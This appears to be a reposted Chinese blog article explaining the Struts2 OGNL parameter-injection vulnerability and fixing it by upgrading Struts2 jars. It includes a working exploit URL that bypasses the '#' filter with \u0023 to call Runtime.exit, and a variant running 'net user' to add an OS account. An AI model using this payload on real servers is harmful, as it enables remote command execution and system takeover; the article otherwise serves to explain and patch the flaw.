java struts2 漏洞_struts2漏洞原理及解决办法

java struts2 漏洞_struts2漏洞原理及解决办法1、原理Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:?user.address.city=Bishkek&user[‘favoriteDrink’]=kumysONGL将它转换为:action.getUser…

大家好,又见面了,我是你们的朋友全栈君。

1、原理

Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys

ONGL将它转换为:

action.getUser().getAddress().setCity(“Bishkek”)

action.getUser().setFavoriteDrink(“kumys”)

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

类似的可以执行

java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)

只要有权限就可以执行任何DOS命令。

2、解决方法

网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4

下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:

commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)

javassist-3.11.0.GA.jar        (新加包)

ognl-3.0.5.jar                (替换旧版本)

struts2-core-2.3.4.1.jar       (替换旧版本)

xwork-core-2.3.4.1.jar         (替换旧版本)

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161698.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月19日 上午11:36
下一篇 2022年7月19日 上午11:36


相关推荐

  • 数据库外键的使用和原则

    数据库外键的使用和原则外键的作用 保持数据一致性 完整性 主要目的是控制存储在外键表中的数据 使两张表形成关联 外键只能引用外表中的列的值 例如 ab 两个表 a 表中存有客户号 客户名称 b 表中存有每个客户的订单有了外键后你只能在确信 b 表中没有客户 x 的订单后 才可以在 a 表中删除客户 x 建立外键的前提 本表的列必须与外键类型相同 外键必须是外表主键

    2026年3月19日
    1
  • scrapy框架入门实例_jeecg框架入门

    scrapy框架入门实例_jeecg框架入门一、概述Scrapy,Python开发的一个快速、高层次的屏幕抓取和web抓取框架,用于抓取web站点并从页面中提取结构化的数据。Scrapy用途广泛,可以用于数据挖掘、监测和自动化测试.其最初是为了页面抓取(更确切来说,网络抓取)所设计的,后台也应用在获取API所返回的数据(例如AmazonAssociatesWebServices)或者通用的网络爬虫.Scrapy吸引人的地方在于它是一个框架,任何人都可以根据需求方便的修改。它也提供了多种类型爬虫的基类,如BaseS

    2022年8月30日
    4
  • 我用Claude Code开发了Obsidian内容分发插件,爆了!(附教程)

    我用Claude Code开发了Obsidian内容分发插件,爆了!(附教程)

    2026年3月15日
    4
  • samba服务器的配置文件是(服务器配置怎么看)

    Samba服务器的配置实验步骤:1、安装有关Samba的RPM包(samba、samba-common、samba-client)2、创建Samba用户3、修改配置文件4、重启samba服务5、设置目录访问权限6、测试具体步骤如下:1、安装RPM包(缺省情况下RHEL5安装了samba的相关软件包,可以用如下命令查看)[root@localhost~]#r

    2022年4月14日
    69
  • 信道估计算法_时域信道估计算法

    信道估计算法_时域信道估计算法信道估计算法目前我所涉及的是短波宽带无线信道下的接收端的处理,包括捕获、同步、信道估计及信道均衡,还有译码。百度百科里是这样解释这种信道的:短波通信发射电波要经电离层的反射才能到达接收设备,通信距离较远,是远程通信的主要手段。由于电离层的高度和密度容易受昼夜、季节、气候等因素的影响,所以短波通信的稳定性较差,噪声较大。因此在仿真的时候,着重仿真的是系统在加了噪声、多径、衰落情况下的接收端的性能。在接

    2025年8月6日
    6
  • 腾讯元宝聊天会被后台看到吗

    腾讯元宝聊天会被后台看到吗

    2026年3月12日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号